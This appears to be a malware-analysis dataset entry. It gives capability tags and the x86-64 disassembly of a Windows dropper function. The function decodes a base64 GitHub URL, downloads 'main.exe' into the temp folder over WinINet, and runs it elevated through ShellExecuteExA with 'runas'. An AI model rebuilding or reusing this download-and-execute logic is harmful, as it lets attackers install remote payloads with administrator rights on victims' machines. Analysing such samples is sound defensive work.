Function at 0x1400015f0
Capabilities:
Create http request
Create process on windows
Get common file path
Read data from internet
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x1280]
mov eax, 0x1380
call fcn.140004380
sub rsp, rax
movaps xmmword [rsp + 0x1370], xmm6
mov rax, qword [0x140008040]
xor rax, rsp
mov qword [rbp + 0x1260], rax
xor r14d, r14d
xorps xmm0, xmm0
movups xmmword [rbp + 0xb0], xmm0
mov ecx, 0x60
call fcn.140003430
mov rcx, rax
mov qword [rbp + 0xb0], rax
movdqa xmm0, xmmword [0x140005690]
movdqu xmmword [rbp + 0xc0], xmm0
movaps xmm0, xmmword [str.aHR0cHM6Ly9naXRodWIuY29tL0F2ZWxyaWFUZWNobm9sb2d5L21haW4vcmF3L3JlZnMvaGVhZHMvYS9tYWluLmV4ZQ]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x140005550]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x140005560]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x140005570]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x140005580]
movups xmmword [rax + 0x40], xmm0
movsd xmm0, qword [0x140005590]
movsd qword [rax + 0x50], xmm0
mov eax, dword [0x140005598]
mov dword [rcx + 0x58], eax
mov byte [rcx + 0x5c], r14b
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x90]
call fcn.140001290
nop
lea rdx, [rbp + 0x150]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
lea rax, [rbp + 0x150]
mov rbx, 0xffffffffffffffff
nop dword [rax]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140001700
movabs rdi, 0x7fffffffffffffff
cmp rbx, rdi
ja 0x140001d06
cmp rbx, 0xf
ja 0x14000174e
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], 0xf
mov r8, rbx
lea rdx, [rbp + 0x150]
lea rcx, [rsp + 0x30]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + rbx + 0x30], 0
jmp 0x1400017ec
mov rax, rbx
or rax, 0xf
cmp rax, rdi
jbe 0x140001783
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140003430
test rax, rax
je 0x1400017b8
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x1400017c7
mov rdi, rax
mov ecx, 0x16
cmp rax, rcx
cmovb rdi, rcx
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x1400017a0
mov rsi, r14
jmp 0x1400017c7
cmp rcx, 0x1000
jb 0x1400017bf
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001d0c
jmp 0x140001768
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140003430
mov rsi, rax
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rdi
mov r8, rbx
lea rdx, [rbp + 0x150]
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + rbx], 0
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov rax, rdx
sub rax, rcx
cmp rax, 8
jb 0x140001834
lea rax, [rcx + 8]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x30]
cmp rdx, 0xf
cmova rax, qword [rsp + 0x30]
movabs rdx, 0x6578652e6e69616d
mov qword [rax + rcx], rdx
mov byte [rax + rcx + 8], 0
lea rax, [rsp + 0x30]
jmp 0x14000184c
mov qword [rsp + 0x20], 8
mov edx, 8
lea rcx, [rsp + 0x30]
call fcn.140003200
xorps xmm0, xmm0
movups xmmword [rbp + 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x78], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x78], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x1400018b9
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400018b4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400018b4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000346c
movdqa xmm6, xmmword [0x140005680]
movdqu xmmword [rsp + 0x40], xmm6
mov byte [rsp + 0x30], 0
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
mov edi, 1
mov edx, edi
lea rcx, str.File_Downloader
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rsi, rax
test rax, rax
je 0x140001be2
lea rdx, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0xf
cmova rdx, qword [rbp + 0x90]
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rbx, rax
test rax, rax
jne 0x140001940
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x140001bda
xor edx, edx
mov r8d, 0x108
lea rcx, [rsp + 0x50]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0x68]
cmp qword [rbp + 0x80], 0xf
cmova rdx, qword [rbp + 0x68]
lea rcx, [rsp + 0x50]
call fcn.140002d80
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x50], rax
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x4c], edx
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x50]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
test al, al
je 0x1400019c7
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x140001bd0
mov edi, 0xa
nop dword [rax]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x55555556
imul r8d
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*2]
sub r8d, ecx
je 0x140001a90
sub r8d, 1
je 0x140001a71
cmp r8d, 1
jne 0x140001aea
xorps xmm0, xmm0
movups xmmword [rbp + 0xd0], xmm0
movups xmmword [rbp + 0xe0], xmm0
movups xmmword [rbp + 0xf0], xmm0
movups xmmword [rbp + 0x100], xmm0
movups xmmword [rbp + 0x110], xmm0
movups xmmword [rbp + 0x120], xmm0
movups xmmword [rbp + 0x130], xmm0
movups xmmword [rbp + 0x140], xmm0
lea r9, [rbp + 0x60]
mov r8d, 0x80
lea rdx, [rbp + 0xd0]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
mov r8d, dword [rbp + 0x60]
lea rdx, [rbp + 0xd0]
lea rcx, [rsp + 0x50]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
jmp 0x140001aea
lea r9, [rbp + 0x88]
mov r8d, 0x1000
lea rdx, [rbp + 0x260]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
jmp 0x140001aea
lea r9, [rbp + 0x60]
mov r8d, 0x1000
lea rdx, [rbp + 0x260]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140001aea
nop
mov eax, dword [rbp + 0x60]
test eax, eax
je 0x140001aea
mov r8d, eax
lea rdx, [rbp + 0x260]
lea rcx, [rsp + 0x50]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea r9, [rbp + 0x60]
mov r8d, 0x1000
lea rdx, [rbp + 0x260]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140001ab0
sub rdi, 1
jne 0x1400019d0
lea rcx, [rsp + 0x58]
call fcn.140002cc0
test rax, rax
jne 0x140001b22
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x50]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov dword [rbp + 0xd0], 0x70
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xd4], xmm0
movups xmmword [rbp + 0xe4], xmm0
movups xmmword [rbp + 0xf4], xmm0
movups xmmword [rbp + 0x104], xmm0
movups xmmword [rbp + 0x114], xmm0
movups xmmword [rbp + 0x124], xmm0
mov qword [rbp + 0x134], rax
mov dword [rbp + 0x13c], eax
mov dword [rbp + 0xd4], 0x40
mov qword [rbp + 0xd8], r14
lea rax, str.runas
mov qword [rbp + 0xe0], rax
lea rax, [rbp + 0x68]
cmp qword [rbp + 0x80], 0xf
cmova rax, qword [rbp + 0x68]
mov qword [rbp + 0xe8], rax
movdqa xmmword [rbp + 0xf0], xmm0
mov dword [rbp + 0x100], r14d
lea rcx, [rbp + 0xd0]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
mov edi, r14d
lea rcx, [rsp + 0x50]
call fcn.140001d20
movdqa xmm6, xmmword [0x140005680]
mov rdx, qword [rbp + 0x80]
cmp rdx, 0xf
jbe 0x140001c2b
inc rdx
mov rcx, qword [rbp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001c1e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001c1e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000346c
movdqa xmm6, xmmword [0x140005680]
movdqu xmmword [rbp + 0x78], xmm6
mov byte [rbp + 0x68], 0
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0xf
jbe 0x140001c80
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001c73
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001c73
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000346c
movdqa xmm6, xmmword [0x140005680]
movdqu xmmword [rbp + 0xa0], xmm6
mov byte [rbp + 0x90], 0
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0xf
jbe 0x140001cd3
inc rdx
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001cce
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001cce
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000346c
mov eax, edi
mov rcx, qword [rbp + 0x1260]
xor rcx, rsp
call fcn.140003410
lea r11, [rsp + 0x1380]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop rbp
ret
call fcn.1400011b0
nop
call fcn.140001110
int3